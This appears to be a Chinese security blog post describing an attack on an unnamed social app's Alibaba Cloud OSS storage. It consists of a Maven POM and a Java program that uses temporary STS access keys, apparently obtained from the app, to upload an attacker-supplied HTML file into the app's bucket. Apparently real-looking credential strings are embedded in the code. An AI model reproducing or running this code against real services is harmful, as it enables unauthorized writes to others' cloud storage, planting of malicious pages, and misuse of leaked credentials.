实战某社交APP | 利用SDK构造OSS文件上传漏洞

<projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.wzjwhut</groupId><artifactId>alioss_example</artifactId><version>1.0</version><packaging>jar</packaging><name>alioss_example</name><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency>    <groupId>com.aliyun.oss</groupId>    <artifactId>aliyun-sdk-oss</artifactId>    <version>2.8.3</version></dependency><!--阿里云OSS依赖--><dependency><groupId>com.aliyun.oss</groupId><artifactId>aliyun-sdk-oss</artifactId><version>3.10.2</version></dependency><dependency><groupId>com.aliyun</groupId><artifactId>aliyun-java-sdk-sts</artifactId><version>3.0.0</version></dependency><dependency><groupId>com.aliyun</groupId><artifactId>aliyun-java-sdk-core</artifactId><version>4.4.6</version></dependency></dependencies></project>

import com.aliyun.oss.OSS;import com.aliyun.oss.OSSClientBuilder;import com.aliyun.oss.model.PutObjectRequest;import java.io.File;public class Upload {    public static void main(String[] args) {// Endpoint以杭州为例，其它Region请按实际情况填写。        String endpoint = "oss-cn-china.aliyuncs.com";// 填写步骤五获取的临时访问密钥（AccessKey ID和AccessKey Secret）。        String accessKeyId = "STS.NUU412E9TPCDUsDHuC6xZFA1x";        String accessKeySecret = "7ihnNXQUbxPhhiUR82JJkJNsUSLP2RSE4VYj59vFXxUx";// 填写步骤五获取的安全令牌SecurityToken。        String securityToken = "CAISpwJ1q6";// 创建OSSClient实例。        OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret, securityToken);// 将本地文件exampletest.txt上传至目标存储空间examplebucket下的目录exampledir。        PutObjectRequest putObjectRequest = new PutObjectRequest("justxxxxxx-ossname", "user/cover/1234567897897777777777777777.html", new File("C:\Users\Administrator\Pictures\123.html"));// 如果需要上传时设置存储类型与访问权限，请参考以下示例代码。// ObjectMetadata metadata = new ObjectMetadata();// metadata.setHeader(OSSHeaders.OSS_STORAGE_CLASS, StorageClass.Standard.toString());// metadata.setObjectAcl(CannedAccessControlList.Private);// putObjectRequest.setMetadata(metadata);// 上传文件。        ossClient.putObject(putObjectRequest);// 关闭OSSClient。        ossClient.shutdown();    }}